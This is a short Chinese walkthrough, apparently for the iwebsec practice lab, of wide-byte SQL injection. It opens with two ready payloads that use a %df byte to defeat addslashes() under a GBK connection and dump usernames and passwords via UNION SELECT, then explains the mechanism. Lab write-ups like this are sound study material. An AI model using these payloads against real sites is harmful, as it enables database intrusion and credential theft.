一、直接上payload
方法:宽字节注入
?id=-1%df' union select 1,2,group_concat(concat(username,0x7e,password)) from iwebsec.users--+
或
?id=-1%df%5c%27 union select 1,2,group_concat(concat(username,0x7e,password)) from iwebsec.users--+
二、源码分析
(一)查看源文件
addslashes()是PHP函数,用于在 ’ " \ 前加上转义符
SET NAMES gbk用于设置字符集
(二)在源文件中加入输出语句
为了查看不同的输入产生SQL语句,修改源文件如下
(三)测试payload过程
1.简单单引号闭合,不能得到结果
2.在单引号前加%df,使转义符逃逸,得到结果
%df可以想象成半个汉字,一个汉字需要2个字节,既然是半个,它就会往后找到 \ 并与之结合